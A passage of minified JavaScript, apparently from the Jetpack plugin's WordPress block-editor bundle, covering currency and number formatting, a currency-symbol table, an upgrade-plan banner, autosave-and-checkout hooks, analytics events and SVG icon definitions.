String(e)}},formatNumberCompact:(e,{decimals:t=0,forceLatin:r=!0,numberFormatOptions:n={}}={})=&gt;{try{return(0,o.c)({browserSafeLocale:s(),decimals:t,forceLatin:r,numberFormatOptions:n}).format(e)}catch{return String(e)}},formatCurrency:(e,r,{stripZeros:o=!1,isSmallestUnit:a=!1,signForPositive:i=!1,forceLatin:l=!0}={})=&gt;(0,n.u)({number:e,currency:r,browserSafeLocale:s(),stripZeros:o,isSmallestUnit:a,signForPositive:i,geoLocation:t,forceLatin:l}),getCurrencyObject:(e,r,{stripZeros:o=!1,isSmallestUnit:a=!1,signForPositive:i=!1,forceLatin:l=!0}={})=&gt;(0,n.v)({number:e,currency:r,browserSafeLocale:s(),stripZeros:o,isSmallestUnit:a,signForPositive:i,geoLocation:t,forceLatin:l})}}},3328(e,t,s){&quot;use strict&quot;;s.d(t,{J:()=&gt;l});var r=s(10067),n=s.n(r),o=s(63673);const a=n()(&quot;number-formatters:get-cached-formatter&quot;),i=new Map;function l({locale:e,fallbackLocale:t=o.FALLBACK_LOCALE,options:s,retries:r=1}){const n=JSON.stringify([e,s]);try{return i.get(n)??i.set(n,new Intl.NumberFormat(e,s)).get(n)}catch(n){if(a(`Intl.NumberFormat was called with a non-existent locale &quot;${e}&quot;; falling back to ${t}`),r)return l({locale:t,options:s,retries:r-1});throw n}}},54268(e,t,s){&quot;use strict&quot;;s.d(t,{ZV:()=&gt;a,qe:()=&gt;i,vv:()=&gt;l});const r=(0,s(11452).A)(),{setLocale:n,setGeoLocation:o,formatNumber:a,formatNumberCompact:i,formatCurrency:l,getCurrencyObject:c}=r},76673(e,t,s){&quot;use strict&quot;;s.d(t,{a:()=&gt;r});const r={AED:{symbol:&quot;د.إ.‏&quot;},AFN:{symbol:&quot;؋&quot;},ALL:{symbol:&quot;Lek&quot;},AMD:{symbol:&quot;֏&quot;},ANG:{symbol:&quot;ƒ&quot;},AOA:{symbol:&quot;Kz&quot;},ARS:{symbol:&quot;$&quot;},AUD:{symbol:&quot;A$&quot;},AWG:{symbol:&quot;ƒ&quot;},AZN:{symbol:&quot;₼&quot;},BAM:{symbol:&quot;КМ&quot;},BBD:{symbol:&quot;Bds$&quot;},BDT:{symbol:&quot;৳&quot;},BGN:{symbol:&quot;лв.&quot;},BHD:{symbol:&quot;د.ب.‏&quot;},BIF:{symbol:&quot;FBu&quot;},BMD:{symbol:&quot;$&quot;},BND:{symbol:&quot;$&quot;},BOB:{symbol:&quot;Bs&quot;},BRL:{symbol:&quot;R$&quot;},BSD:{symbol:&quot;$&quot;},BTC:{symbol:&quot;Ƀ&quot;},BTN:{symbol:&quot;Nu.&quot;},BWP:{symbol:&quot;P&quot;},BYR:{symbol:&quot;р.&quot;},BZD:{symbol:&quot;BZ$&quot;},CAD:{symbol:&quot;C$&quot;},CDF:{symbol:&quot;FC&quot;},CHF:{symbol:&quot;CHF&quot;},CLP:{symbol:&quot;$&quot;},CNY:{symbol:&quot;¥&quot;},COP:{symbol:&quot;$&quot;},CRC:{symbol:&quot;₡&quot;},CUC:{symbol:&quot;CUC&quot;},CUP:{symbol:&quot;$MN&quot;},CVE:{symbol:&quot;$&quot;},CZK:{symbol:&quot;Kč&quot;},DJF:{symbol:&quot;Fdj&quot;},DKK:{symbol:&quot;kr.&quot;},DOP:{symbol:&quot;RD$&quot;},DZD:{symbol:&quot;د.ج.‏&quot;},EGP:{symbol:&quot;ج.م.‏&quot;},ERN:{symbol:&quot;Nfk&quot;},ETB:{symbol:&quot;ETB&quot;},EUR:{symbol:&quot;€&quot;},FJD:{symbol:&quot;FJ$&quot;},FKP:{symbol:&quot;£&quot;},GBP:{symbol:&quot;£&quot;},GEL:{symbol:&quot;Lari&quot;},GHS:{symbol:&quot;₵&quot;},GIP:{symbol:&quot;£&quot;},GMD:{symbol:&quot;D&quot;},GNF:{symbol:&quot;FG&quot;},GTQ:{symbol:&quot;Q&quot;},GYD:{symbol:&quot;G$&quot;},HKD:{symbol:&quot;HK$&quot;},HNL:{symbol:&quot;L.&quot;},HRK:{symbol:&quot;kn&quot;},HTG:{symbol:&quot;G&quot;},HUF:{symbol:&quot;Ft&quot;},IDR:{symbol:&quot;Rp&quot;},ILS:{symbol:&quot;₪&quot;},INR:{symbol:&quot;₹&quot;},IQD:{symbol:&quot;د.ع.‏&quot;},IRR:{symbol:&quot;﷼&quot;},ISK:{symbol:&quot;kr.&quot;},JMD:{symbol:&quot;J$&quot;},JOD:{symbol:&quot;د.ا.‏&quot;},JPY:{symbol:&quot;¥&quot;},KES:{symbol:&quot;S&quot;},KGS:{symbol:&quot;сом&quot;},KHR:{symbol:&quot;៛&quot;},KMF:{symbol:&quot;CF&quot;},KPW:{symbol:&quot;₩&quot;},KRW:{symbol:&quot;₩&quot;},KWD:{symbol:&quot;د.ك.‏&quot;},KYD:{symbol:&quot;$&quot;},KZT:{symbol:&quot;₸&quot;},LAK:{symbol:&quot;₭&quot;},LBP:{symbol:&quot;ل.ل.‏&quot;},LKR:{symbol:&quot;₨&quot;},LRD:{symbol:&quot;L$&quot;},LSL:{symbol:&quot;M&quot;},LYD:{symbol:&quot;د.ل.‏&quot;},MAD:{symbol:&quot;د.م.‏&quot;},MDL:{symbol:&quot;lei&quot;},MGA:{symbol:&quot;Ar&quot;},MKD:{symbol:&quot;ден.&quot;},MMK:{symbol:&quot;K&quot;},MNT:{symbol:&quot;₮&quot;},MOP:{symbol:&quot;MOP$&quot;},MRO:{symbol:&quot;UM&quot;},MTL:{symbol:&quot;₤&quot;},MUR:{symbol:&quot;₨&quot;},MVR:{symbol:&quot;MVR&quot;},MWK:{symbol:&quot;MK&quot;},MXN:{symbol:&quot;MX$&quot;},MYR:{symbol:&quot;RM&quot;},MZN:{symbol:&quot;MT&quot;},NAD:{symbol:&quot;N$&quot;},NGN:{symbol:&quot;₦&quot;},NIO:{symbol:&quot;C$&quot;},NOK:{symbol:&quot;kr&quot;},NPR:{symbol:&quot;₨&quot;},NZD:{symbol:&quot;NZ$&quot;},OMR:{symbol:&quot;﷼&quot;},PAB:{symbol:&quot;B/.&quot;},PEN:{symbol:&quot;S/.&quot;},PGK:{symbol:&quot;K&quot;},PHP:{symbol:&quot;₱&quot;},PKR:{symbol:&quot;₨&quot;},PLN:{symbol:&quot;zł&quot;},PYG:{symbol:&quot;₲&quot;},QAR:{symbol:&quot;﷼&quot;},RON:{symbol:&quot;lei&quot;},RSD:{symbol:&quot;Дин.&quot;},RUB:{symbol:&quot;₽&quot;},RWF:{symbol:&quot;RWF&quot;},SAR:{symbol:&quot;﷼&quot;},SBD:{symbol:&quot;S$&quot;},SCR:{symbol:&quot;₨&quot;},SDD:{symbol:&quot;LSd&quot;},SDG:{symbol:&quot;£‏&quot;},SEK:{symbol:&quot;kr&quot;},SGD:{symbol:&quot;S$&quot;},SHP:{symbol:&quot;£&quot;},SLL:{symbol:&quot;Le&quot;},SOS:{symbol:&quot;S&quot;},SRD:{symbol:&quot;$&quot;},STD:{symbol:&quot;Db&quot;},SVC:{symbol:&quot;₡&quot;},SYP:{symbol:&quot;£&quot;},SZL:{symbol:&quot;E&quot;},THB:{symbol:&quot;฿&quot;},TJS:{symbol:&quot;TJS&quot;},TMT:{symbol:&quot;m&quot;},TND:{symbol:&quot;د.ت.‏&quot;},TOP:{symbol:&quot;T$&quot;},TRY:{symbol:&quot;TL&quot;},TTD:{symbol:&quot;TT$&quot;},TVD:{symbol:&quot;$T&quot;},TWD:{symbol:&quot;NT$&quot;},TZS:{symbol:&quot;TSh&quot;},UAH:{symbol:&quot;₴&quot;},UGX:{symbol:&quot;USh&quot;},USD:{},UYU:{symbol:&quot;$U&quot;},UZS:{symbol:&quot;сўм&quot;},VEB:{symbol:&quot;Bs.&quot;},VEF:{symbol:&quot;Bs. F.&quot;},VND:{symbol:&quot;₫&quot;},VUV:{symbol:&quot;VT&quot;},WST:{symbol:&quot;WS$&quot;},XAF:{symbol:&quot;F&quot;},XCD:{symbol:&quot;$&quot;},XOF:{symbol:&quot;F&quot;},XPF:{symbol:&quot;F&quot;},YER:{symbol:&quot;﷼&quot;},ZAR:{symbol:&quot;R&quot;},ZMW:{symbol:&quot;ZK&quot;},WON:{symbol:&quot;₩&quot;}}},49980(e,t,s){&quot;use strict&quot;;s.d(t,{u:()=&gt;g,v:()=&gt;f});var r=s(10067),n=s.n(r),o=s(63673),a=s(3328),i=s(76673);const l=n()(&quot;number-formatters:number-format-currency&quot;);function c(e,t){return&quot;USD&quot;===e&amp;&amp;t&amp;&amp;&quot;&quot;!==t&amp;&amp;&quot;US&quot;!==t?{symbol:&quot;US$&quot;}:i.a[e]}function u(e,t){return c(e,t)?e:(l(`getValidCurrency was called with a non-existent currency &quot;${e}&quot;; falling back to ${o.FALLBACK_CURRENCY}`),o.FALLBACK_CURRENCY)}function d({number:e,currency:t,browserSafeLocale:s,forceLatin:r=!0,stripZeros:n,signForPositive:o}){const i=`${s}${r?&quot;-u-nu-latn&quot;:&quot;&quot;}`,l={style:&quot;currency&quot;,currency:t,...n&amp;&amp;Number.isInteger(e)&amp;&amp;{maximumFractionDigits:0,minimumFractionDigits:0},...o&amp;&amp;{signDisplay:&quot;exceptZero&quot;}};return(0,a.J)({locale:i,options:l})}function p(e,t,s){return d({number:0,currency:t,browserSafeLocale:e,forceLatin:s}).resolvedOptions().maximumFractionDigits}function h(e,t){const s=Math.pow(10,t);return Math.round(e*s)/s}function m(e,t,s){if(isNaN(e))return l(&quot;formatCurrency was called with NaN&quot;),0;if(s){Number.isInteger(e)||l(&quot;formatCurrency was called with isSmallestUnit and a float which will be rounded&quot;,e);const s=10**t;return h(Math.round(e)/s,t)}return h(e,t)}const g=({number:e,browserSafeLocale:t,currency:s,stripZeros:r,isSmallestUnit:n,signForPositive:o,geoLocation:a,forceLatin:i})=&gt;{const l=u(s,a),h=c(l,a),g=p(t,l,i);if(n&amp;&amp;void 0===g)throw new Error(`Could not determine currency precision for ${l} in ${t}`);const f=m(e,g??0,n);return d({number:f,currency:l,browserSafeLocale:t,forceLatin:i,stripZeros:r,signForPositive:o}).formatToParts(f).reduce((e,t)=&gt;&quot;currency&quot;===t.type&amp;&amp;h?.symbol?e+h.symbol:e+t.value,&quot;&quot;)},f=({number:e,browserSafeLocale:t,currency:s,stripZeros:r,isSmallestUnit:n,signForPositive:o,geoLocation:a,forceLatin:i})=&gt;{const l=u(s,a),h=c(l,a),g=m(e,p(t,l,i)??0,n),f=d({number:g,currency:l,browserSafeLocale:t,forceLatin:i,stripZeros:r,signForPositive:o}).formatToParts(g);let b=&quot;&quot;,v=&quot;$&quot;,k=&quot;before&quot;,y=!1,x=!1,j=&quot;&quot;,w=&quot;&quot;;f.forEach(e=&gt;{switch(e.type){case&quot;currency&quot;:return v=h?.symbol??e.value,void(y&amp;&amp;(k=&quot;after&quot;));case&quot;group&quot;:case&quot;integer&quot;:return j+=e.value,void(y=!0);case&quot;decimal&quot;:case&quot;fraction&quot;:return w+=e.value,y=!0,void(x=!0);case&quot;minusSign&quot;:return void(b=&quot;-&quot;);case&quot;plusSign&quot;:b=&quot;+&quot;}});const _=!Number.isInteger(g)&amp;&amp;x;return{sign:b,symbol:v,symbolPosition:k,integer:j,fraction:w,hasNonZeroFraction:_,floatValue:g}}},91167(e,t,s){&quot;use strict&quot;;s.d(t,{c:()=&gt;o,j:()=&gt;n});var r=s(3328);const n=({browserSafeLocale:e,decimals:t=0,forceLatin:s=!0,numberFormatOptions:n={}})=&gt;{const o=`${e}${s?&quot;-u-nu-latn&quot;:&quot;&quot;}`,a={minimumFractionDigits:t,maximumFractionDigits:t,...n};return(0,r.J)({locale:o,options:a})},o=({numberFormatOptions:e={},...t})=&gt;n({...t,numberFormatOptions:{notation:&quot;compact&quot;,maximumFractionDigits:1,...e}})},85985(e,t,s){&quot;use strict&quot;;s.d(t,{$i:()=&gt;r.A,BT:()=&gt;l.A,Bd:()=&gt;h.Bd,CP:()=&gt;v.C,Cq:()=&gt;g.C,Dk:()=&gt;c.Dk,FB:()=&gt;a.A,GE:()=&gt;n.A,GT:()=&gt;c.GT,M_:()=&gt;f.M,Mm:()=&gt;b.A,Ti:()=&gt;h.Ti,W4:()=&gt;c.W4,ZR:()=&gt;p.A,_6:()=&gt;k.A,_X:()=&gt;h._X,aq:()=&gt;c.aq,ds:()=&gt;h.ds,gB:()=&gt;u.A,lk:()=&gt;o.l,pP:()=&gt;o.p,q7:()=&gt;m.A,sH:()=&gt;c.sH,sh:()=&gt;g.s,st:()=&gt;d.A,tu:()=&gt;c.tu,vp:()=&gt;i.A,xI:()=&gt;v.x});var r=s(34972),n=s(54815),o=(s(41409),s(62634)),a=s(8573),i=s(82034),l=s(65595),c=s(53265),u=s(49354),d=s(73489),p=s(89581),h=s(20710),m=(s(58406),s(76923)),g=s(30335),f=s(88290),b=s(44360),v=s(9061),k=s(25929);s(5765)},5765(e,t,s){&quot;use strict&quot;;s(98490)},82201(e,t,s){&quot;use strict&quot;;s.d(t,{cb:()=&gt;n.c,jt:()=&gt;r.A,k4:()=&gt;o.k});var r=s(15877),n=s(30984),o=s(82308)},15877(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(67142),n=s(97999),o=s(27723),a=(s(68071),s(10790));const __=o.__,i=()=&gt;{const e=(0,n.getScriptData)()?.jetpack?.flags?.showJetpackBranding;return void 0===e||e?(0,a.jsx)(r.A,{className:&quot;jetpack-editor-panel-logo&quot;,height:16,logoColor:&quot;#1E1E1E&quot;,showText:!1,title:__(&quot;This feature is powered by Jetpack&quot;,&quot;jetpack&quot;)}):null}},30984(e,t,s){&quot;use strict&quot;;s.d(t,{c:()=&gt;i});var r=s(56427),n=s(27723),o=s(13022),a=(s(15016),s(10790));const __=n.__,i=({className:e,description:t,align:s=null,title:n=null,buttonText:i=null,visible:l=!0,context:c=null,checkoutUrl:u=null,goToCheckoutPage:d=null,isRedirecting:p=!1,showButton:h=!0,target:m=&quot;_top&quot;})=&gt;{const g=(0,o.A)(e,&quot;jetpack-upgrade-plan-banner&quot;,{&quot;wp-block&quot;:&quot;editor-canvas&quot;===c,&quot;block-editor-block-list__block&quot;:&quot;editor-canvas&quot;===c,&quot;jetpack-upgrade-plan__hidden&quot;:!l}),f=__(&quot;Redirecting…&quot;,&quot;jetpack&quot;);return(0,a.jsx)(&quot;div&quot;,{className:g,&quot;data-align&quot;:s,children:(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-upgrade-plan-banner__wrapper&quot;,children:[n&amp;&amp;(0,a.jsx)(&quot;strong&quot;,{className:(0,o.A)(&quot;banner-title&quot;,{[`${e}__title`]:e}),children:n}),t&amp;&amp;(0,a.jsx)(&quot;span&quot;,{className:`${e}__description banner-description`,children:t}),h&amp;&amp;(0,a.jsx)(r.Button,{href:p?null:u,onClick:d,target:m,className:(0,o.A)(&quot;is-primary&quot;,{&quot;jetpack-upgrade-plan__hidden&quot;:!u}),isBusy:p,children:(0,a.jsx)(&quot;span&quot;,{children:p?f:i})})]})})}},82308(e,t,s){&quot;use strict&quot;;s.d(t,{k:()=&gt;i});var r=s(56427),n=s(47143),o=s(51609),a=s(10790);const i=(0,o.forwardRef)(({supportLink:e,supportPostId:t,children:s,onClick:o,style:i},l)=&gt;{const c=(0,n.useDispatch)(&quot;automattic/help-center&quot;),u=c?.setShowSupportDoc;return u?(0,a.jsx)(&quot;a&quot;,{href:e,onClick:s=&gt;{s.preventDefault(),o?.(),u(e,t)},style:i,ref:l,children:s}):(0,a.jsx)(r.ExternalLink,{href:e,onClick:o,style:i,ref:l,children:s})})},30335(e,t,s){&quot;use strict&quot;;s.d(t,{C:()=&gt;o,s:()=&gt;n});var r=s(86087);function n(e){const t={};let s=&quot;span&quot;,n=e.icon;const o=document.createElement(&quot;div&quot;);o.innerHTML=e.icon;const a=o.querySelector(&quot;svg&quot;);return a&amp;&amp;(s=&quot;svg&quot;,n=a.innerHTML,Array.from(a.attributes).forEach(({nodeName:e,nodeValue:s})=&gt;t[e]=s)),(0,r.createElement)(s,{...t,dangerouslySetInnerHTML:{__html:n||&quot;&quot;}})}function o(e){return{src:n(e)}}},34972(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});function r(){return&quot;object&quot;==typeof window?window?.Jetpack_Editor_Initial_State??null:null}},8573(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(34972);function n(e){const t=(0,r.A)(),s=t?.available_blocks?.[e]?.available??!1,n=t?.available_blocks?.[e]?.unavailable_reason??&quot;unknown&quot;;return{available:s,...!s&amp;&amp;{details:t?.available_blocks?.[e]?.details??{},unavailableReason:n}}}},54815(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(97999);function n(){return window&amp;&amp;window.Jetpack_Editor_Initial_State&amp;&amp;window.Jetpack_Editor_Initial_State.siteFragment?window.Jetpack_Editor_Initial_State.siteFragment:(0,r.getScriptData)()?.site?.suffix??null}},73489(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(90372),n=s(14882),o=s(86087);const{tracks:a}=r.A,{recordEvent:i}=a,l=({pageViewEventName:e=null,pageViewNamespace:t=&quot;jetpack&quot;,pageViewSuffix:s=&quot;page_view&quot;,pageViewEventProperties:l={}}={})=&gt;{const[c,u]=(0,o.useState)(!1),{isUserConnected:d,isRegistered:p,userConnectionData:h={}}=(0,n.A)(),{wpcomUser:{login:m,ID:g}={},blogId:f}=h.currentUser||{},b=(0,o.useCallback)(async(e,t={})=&gt;{d&amp;&amp;g&amp;&amp;m&amp;&amp;i(e,t)},[d,g,m]);return(0,o.useEffect)(()=&gt;{d&amp;&amp;g&amp;&amp;m&amp;&amp;f&amp;&amp;r.A.initialize(g,m,{blog_id:f})},[f,g,m,d]),(0,o.useEffect)(()=&gt;{const r=e?`${t}_${e}_${s}`:null;p&amp;&amp;r&amp;&amp;(c||(b(r,l),u(!0)))},[c,t,e,s,p,l,b]),{recordEvent:b,tracks:a}}},89581(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(47143),n=s(86087);const o=()=&gt;{};function a(e=null,t=o){const[s,a]=(0,n.useState)(!1),{isAutosaveablePost:i,isDirtyPost:l,currentPost:c}=(0,r.useSelect)(e=&gt;{const t=e(&quot;core/editor&quot;);return{isAutosaveablePost:t.isEditedPostAutosaveable(),isDirtyPost:t.isEditedPostDirty(),currentPost:t.getCurrentPost()}},[]),u=Object.keys(c).length&gt;0,d=(0,r.useSelect)(e=&gt;!!window.wp?.customize||!!e(&quot;core/edit-widgets&quot;)),p=(0,r.dispatch)(&quot;core/editor&quot;).savePost,h=(0,r.useSelect)(e=&gt;e(&quot;core&quot;).__experimentalGetDirtyEntityRecords()),m=async e=&gt;{e?.preventDefault(),u?l&amp;&amp;i&amp;&amp;await p(e):await(async()=&gt;{for(let e=0;e&lt;h.length;e++)await(0,r.dispatch)(&quot;core&quot;).saveEditedEntityRecord(h[e].kind,h[e].name,h[e].key)})()};return{autosave:m,autosaveAndRedirect:async r=&gt;{r?.preventDefault(),s||(a(!0),m(r).then(()=&gt;{e&amp;&amp;function(e,t,s=!1){t&amp;&amp;t(e),s?window.open(e,&quot;_blank&quot;):window.top.location.href=e}(e,t,d)}))},isRedirecting:s}}},76923(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(47143),n=s(86087),o=s(88290);const a=e=&gt;{const{isModuleActive:t,isChangingStatus:s,isLoadingModules:a}=(0,r.useSelect)(t=&gt;{const s=t(o.F);return{isModuleActive:s.isModuleActive(e),isChangingStatus:s.isModuleUpdating(e),isLoadingModules:s.areModulesLoading(e)}},[e]),{updateJetpackModuleStatus:i}=(0,r.useDispatch)(o.F),l=(0,n.useCallback)(t=&gt;i({name:e,active:t}),[e,i]);return(0,n.useMemo)(()=&gt;({isLoadingModules:a,isChangingStatus:s,isModuleActive:t,changeStatus:l}),[a,s,t,l])}},20710(e,t,s){&quot;use strict&quot;;s.d(t,{Bd:()=&gt;a,Ti:()=&gt;o,_X:()=&gt;r,ds:()=&gt;n});const r=&quot;free&quot;,n=&quot;tiered&quot;,o=&quot;unlimited&quot;,a=e=&gt;e?0===e?.value?r:1===e?.value?o:n:null},58406(e,t,s){&quot;use strict&quot;;s(86087)},25929(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(47143),n=s(52619),o=s(53265),a=s(89581);const i=()=&gt;{},l=&quot;a8c.wpcom-block-editor.openCheckoutModal&quot;;function c(e,t=i){const{checkoutUrl:s,planData:c}=(0,r.useSelect)(t=&gt;{const s=t(&quot;core/editor&quot;),r=t(&quot;wordpress-com/plans&quot;),{id:n,type:a}=s.getCurrentPost(),i=r&amp;&amp;r.getPlan(e);return{checkoutUrl:(0,o.Q4)({plan:i,planSlug:e,postId:n,postType:a}),planData:i}},[e]),{autosave:u,autosaveAndRedirect:d,isRedirecting:p}=(0,a.A)(s,t);return[s,async e=&gt;{if(e.preventDefault(),(0,n.hasAction)(l))return e.preventDefault(),u(e),void(0,n.doAction)(l,{products:[c]});d(e)},p,c]}},62410(e,t,s){&quot;use strict&quot;;s.d(t,{KZ:()=&gt;h,M4:()=&gt;u,QB:()=&gt;d,T3:()=&gt;c,ik:()=&gt;g,k7:()=&gt;p,oW:()=&gt;f,ud:()=&gt;m,ux:()=&gt;l});var r=s(38377),n=s(56427),o=s(13022),a=(s(1103),s(10790));const i=r.T[&quot;Jetpack Green 40&quot;],l=({size:e=24,border:t=0,className:s=&quot;&quot;,color:r=i})=&gt;{const l=t?-t/e*32:0;return(0,a.jsxs)(n.SVG,{className:(0,o.A)(&quot;jetpack-logo&quot;,s),width:e,height:e,viewBox:`${l} ${l} ${32-2*l} ${32-2*l}`,children:[(0,a.jsx)(n.Path,{className:&quot;jetpack-logo__icon-circle&quot;,fill:r,stroke:t?&quot;#fff&quot;:&quot;transparent&quot;,strokeWidth:t,d:&quot;M16,0C7.2,0,0,7.2,0,16s7.2,16,16,16s16-7.2,16-16S24.8,0,16,0z&quot;}),(0,a.jsx)(n.Polygon,{className:&quot;jetpack-logo__icon-triangle&quot;,fill:&quot;#fff&quot;,points:`15,19 ${7-.5*l},19 15,${3-l}`}),(0,a.jsx)(n.Polygon,{className:&quot;jetpack-logo__icon-triangle&quot;,fill:&quot;#fff&quot;,points:`17,${29+l} 17,13 ${25+.5*l},13`})]})},c={src:(0,a.jsx)(n.SVG,{viewBox:&quot;0 0 100 100&quot;,children:(0,a.jsx)(n.Path,{d:&quot;M100,44H72.4l23.9-13.8l-6-10.4L66.4,33.6L80.2,9.7l-10.4-6L56,27.59V0H44v27.6L30.2,3.7l-10.4,6l13.8,23.9 L9.7,19.8l-6,10.4L27.6,44H0V56h27.6L3.7,69.8l6,10.4l23.9-13.8L19.8,90.3l10.4,6L44,72.4V100H56V72.41l13.8,23.9l10.4-6L66.4,66.4 l23.9,13.8l6-10.4L72.4,56H100V44z M50,65.23c-8.41,0-15.23-6.82-15.23-15.23c0-8.41,6.82-15.23,15.23-15.23S65.23,41.59,65.23,50 C65.23,58.41,58.41,65.23,50,65.23z&quot;})})},u={src:(0,a.jsx)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 20.7 17&quot;,xmlSpace:&quot;preserve&quot;,children:(0,a.jsx)(n.Path,{d:&quot;m20.7 12.9-.9-11c0-.5-.2-.9-.5-1.3-.3-.3-.8-.5-1.3-.5L1.9 0h-.1c-.2 0-.5 0-.7.1C.9.2.7.4.5.5.4.7.2.9.1 1.1c-.1.2-.1.5-.1.7v.1l.9 13.4c0 .5.2.9.5 1.3.3.2.8.4 1.3.4H3l16.1-2c.4 0 .9-.3 1.1-.6.3-.3.5-.8.5-1.2v-.3zm-3.1.8L4.2 15.3H4c-.4 0-.8-.1-1-.4-.3-.3-.4-.6-.5-1L1.7 3.2v-.1c0-.4.2-.8.5-1 .3-.3.7-.4 1-.4h.1l13.5.1c.4 0 .8.1 1 .4.3.3.4.6.5 1L19 12v.3c0 .4-.2.7-.4 1-.3.2-.6.4-1 .4z&quot;})})},d={src:(0,a.jsx)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 43 43&quot;,xmlSpace:&quot;preserve&quot;,children:(0,a.jsx)(n.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 31.908c0 1.376.893 2.268 2.27 2.268h6.63c3.956 0 7.192-1.337 9.392-3.68H12v1.412zM20.901 9H14.27C12.893 9 12 9.893 12 11.269v1.411h18.294C28.093 10.338 24.857 9 20.9 9zm5.787 16.176c0 1.113.726 1.835 1.845 1.835h3.973c.45-1.117.753-2.345.894-3.671h-4.867c-1.119 0-1.845.722-1.845 1.836zm-5.507-7.166c0 1.113.725 1.836 1.844 1.836H33.4a13.644 13.644 0 0 0-.894-3.672h-9.481c-1.119 0-1.844.723-1.844 1.836zm1.843 7.166c0-1.114-.726-1.836-1.845-1.836H12v3.671h9.18c1.118 0 1.843-.722 1.843-1.835zm-5.508-7.166c0-1.113-.726-1.836-1.844-1.836H12v3.672h3.672c1.118 0 1.844-.723 1.844-1.836zm41.151 3.199&quot;})})},p=(n.SVG,n.Rect,n.G,n.Path,n.SVG,n.Rect,n.G,n.Path,n.SVG,n.Rect,n.G,n.Path,n.SVG,n.Rect,n.G,n.Path,n.Path,n.Path,n.SVG,n.Rect,n.G,n.Path,n.Path,n.Path,n.SVG,n.Path,n.SVG,n.Path,n.SVG,n.Path,(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{d:&quot;M0 0h24v24H0z&quot;,fill:&quot;none&quot;}),(0,a.jsx)(n.Path,{d:&quot;M7 2v11h3v9l7-12h-4l4-8z&quot;,fill:&quot;currentColor&quot;})]})),h=(0,a.jsx)(n.SVG,{width:&quot;29&quot;,height:&quot;21&quot;,viewBox:&quot;0 0 29 21&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,a.jsx)(n.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M2.79037 0.59375C4.0363 0.59375 5.13102 1.41658 5.47215 2.60947L8.8452 14.4044C8.8486 14.4164 8.85411 14.4273 8.86124 14.4368L12.8572 0.59375H15.0927H21.2721C25.6033 0.59375 28.5066 3.39892 28.5066 7.64565C28.5066 11.9411 25.5272 14.6196 21.0818 14.6196H18.1499H14.3719L13.6379 16.8813C12.9796 18.9095 11.0827 20.2839 8.94152 20.2839C6.80035 20.2839 4.90341 18.9095 4.24517 16.8813L0.137069 4.22276C-0.444671 2.43022 0.898038 0.59375 2.79037 0.59375ZM15.7374 10.4119H20.0156C21.8718 10.4119 22.9856 9.35018 22.9856 7.64565C22.9856 5.93137 21.8718 4.91839 20.0156 4.91839H17.5202L15.7374 10.4119Z&quot;,fill:&quot;#000000&quot;})}),m=(0,a.jsx)(n.SVG,{viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,a.jsx)(n.Path,{d:&quot;M4.75725 2.075C4.60279 1.97745 4.41041 1.97489 4.25365 2.06832C4.09689 2.16174 4 2.3367 4 2.52632V21.4737C4 21.6633 4.09689 21.8383 4.25365 21.9317C4.41041 22.0251 4.60279 22.0226 4.75725 21.925L19.7573 12.4513C19.9079 12.3562 20 12.1849 20 12C20 11.8151 19.9079 11.6438 19.7573 11.5487L4.75725 2.075Z&quot;,fill:&quot;white&quot;})}),g=(n.SVG,n.Path,n.SVG,n.Path,n.Path,n.SVG,n.Path,n.SVG,n.Path,(0,a.jsx)(n.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,a.jsx)(n.Path,{d:&quot;M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z&quot;})})),f=(0,a.jsx)(n.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,a.jsx)(n.G,{children:(0,a.jsx)(n.Path,{d:&quot;M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 